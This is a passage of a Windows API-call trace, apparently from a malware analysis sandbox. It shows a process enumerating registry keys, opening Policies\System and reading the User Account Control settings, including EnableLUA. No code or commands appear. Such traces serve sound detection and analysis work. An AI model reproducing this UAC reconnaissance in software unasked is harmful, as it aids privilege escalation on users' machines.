cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0229.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x35c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0229.278] RegEnumKeyW (in: hKey=0x38, dwIndex=0x12, lpName=0x35b930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0229.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x35c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ext", lpUsedDefaultChar=0x0) returned 3 [0229.279] RegEnumKeyW (in: hKey=0x38, dwIndex=0x13, lpName=0x35b930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0229.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0229.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x35c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gameux", lpUsedDefaultChar=0x0) returned 6 [0229.279] RegEnumKeyW (in: hKey=0x38, dwIndex=0x14, lpName=0x35b930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0229.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0229.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x35c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group policy", lpUsedDefaultChar=0x0) returned 12 [0229.279] RegEnumKeyW (in: hKey=0x38, dwIndex=0x15, lpName=0x35b930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0229.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0229.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x35c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hints", lpUsedDefaultChar=0x0) returned 5 [0229.279] RegEnumKeyW (in: hKey=0x38, dwIndex=0x16, lpName=0x35b930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0229.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0229.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x35c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroup", lpUsedDefaultChar=0x0) returned 9 [0229.279] RegEnumKeyW (in: hKey=0x38, dwIndex=0x17, lpName=0x35b930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0229.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0229.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x35c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hotstart", lpUsedDefaultChar=0x0) returned 8 [0229.279] RegEnumKeyW (in: hKey=0x38, dwIndex=0x18, lpName=0x35b930, cchName=0x104 | out: lpName="IME") returned 0x0 [0229.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x35c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0229.279] RegEnumKeyW (in: hKey=0x38, dwIndex=0x19, lpName=0x35b930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0229.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0229.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x35c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="installer", lpUsedDefaultChar=0x0) returned 9 [0229.279] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1a, lpName=0x35b930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0229.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0229.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x35c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet settings", lpUsedDefaultChar=0x0) returned 17 [0229.280] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1b, lpName=0x35b930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0229.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x35c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mct", lpUsedDefaultChar=0x0) returned 3 [0229.280] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1c, lpName=0x35b930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0229.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0229.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x35c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="media center", lpUsedDefaultChar=0x0) returned 12 [0229.280] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1d, lpName=0x35b930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0229.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0229.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x35c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmdevices", lpUsedDefaultChar=0x0) returned 9 [0229.280] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1e, lpName=0x35b930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0229.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0229.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x35c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssha", lpUsedDefaultChar=0x0) returned 5 [0229.280] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1f, lpName=0x35b930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0229.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0229.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x35c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netcache", lpUsedDefaultChar=0x0) returned 8 [0229.280] RegEnumKeyW (in: hKey=0x38, dwIndex=0x20, lpName=0x35b930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0229.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0229.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x35c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeminformation", lpUsedDefaultChar=0x0) returned 14 [0229.280] RegEnumKeyW (in: hKey=0x38, dwIndex=0x21, lpName=0x35b930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0229.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0229.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x35c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oobe", lpUsedDefaultChar=0x0) returned 4 [0229.281] RegEnumKeyW (in: hKey=0x38, dwIndex=0x22, lpName=0x35b930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0229.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0229.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x35c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="optimallayout", lpUsedDefaultChar=0x0) returned 13 [0229.281] RegEnumKeyW (in: hKey=0x38, dwIndex=0x23, lpName=0x35b930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0229.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0229.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x35c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="parental controls", lpUsedDefaultChar=0x0) returned 17 [0229.281] RegEnumKeyW (in: hKey=0x38, dwIndex=0x24, lpName=0x35b930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0229.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0229.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x35c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="personalization", lpUsedDefaultChar=0x0) returned 15 [0229.281] RegEnumKeyW (in: hKey=0x38, dwIndex=0x25, lpName=0x35b930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0229.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0229.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x35c0d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photopropertyhandler", lpUsedDefaultChar=0x0) returned 20 [0229.281] RegEnumKeyW (in: hKey=0x38, dwIndex=0x26, lpName=0x35b930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0229.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0229.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x35c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnpsysprep", lpUsedDefaultChar=0x0) returned 10 [0229.281] RegEnumKeyW (in: hKey=0x38, dwIndex=0x27, lpName=0x35b930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0229.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0229.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x35c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0229.281] RegOpenKeyExW (in: hKey=0x38, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0229.281] RegCloseKey (hKey=0x38) returned 0x0 [0229.281] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x35b930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0229.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0229.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x35c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activedesktop", lpUsedDefaultChar=0x0) returned 13 [0229.282] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x35b930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0229.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0229.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x35c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="attachments", lpUsedDefaultChar=0x0) returned 11 [0229.282] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x35b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0229.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0229.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x35c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0229.282] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x35b930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0229.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0229.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x35c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nonenum", lpUsedDefaultChar=0x0) returned 7 [0229.282] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x35b930, cchName=0x104 | out: lpName="System") returned 0x0 [0229.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0229.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x35c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0229.282] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0229.282] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35b930) returned 1 [0229.282] RegCloseKey (hKey=0xc4) returned 0x0 [0229.282] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35b860) returned 1 [0229.283] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.283] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.283] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.283] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.283] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.283] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.283] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.283] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.283] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.284] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.284] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.284] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.284] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.284] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.284] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.284] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.284] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0229.284] RegQueryValueExA (in: hKey=0x38, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0229.284] RegQueryValueExA (in: hKey=0x38, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x35c438, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x35c438*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0229.284] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c438) returned 1 [0229.284] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c5a0) returned 1 [0229.284] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.284] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.284] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.284] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.284] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, 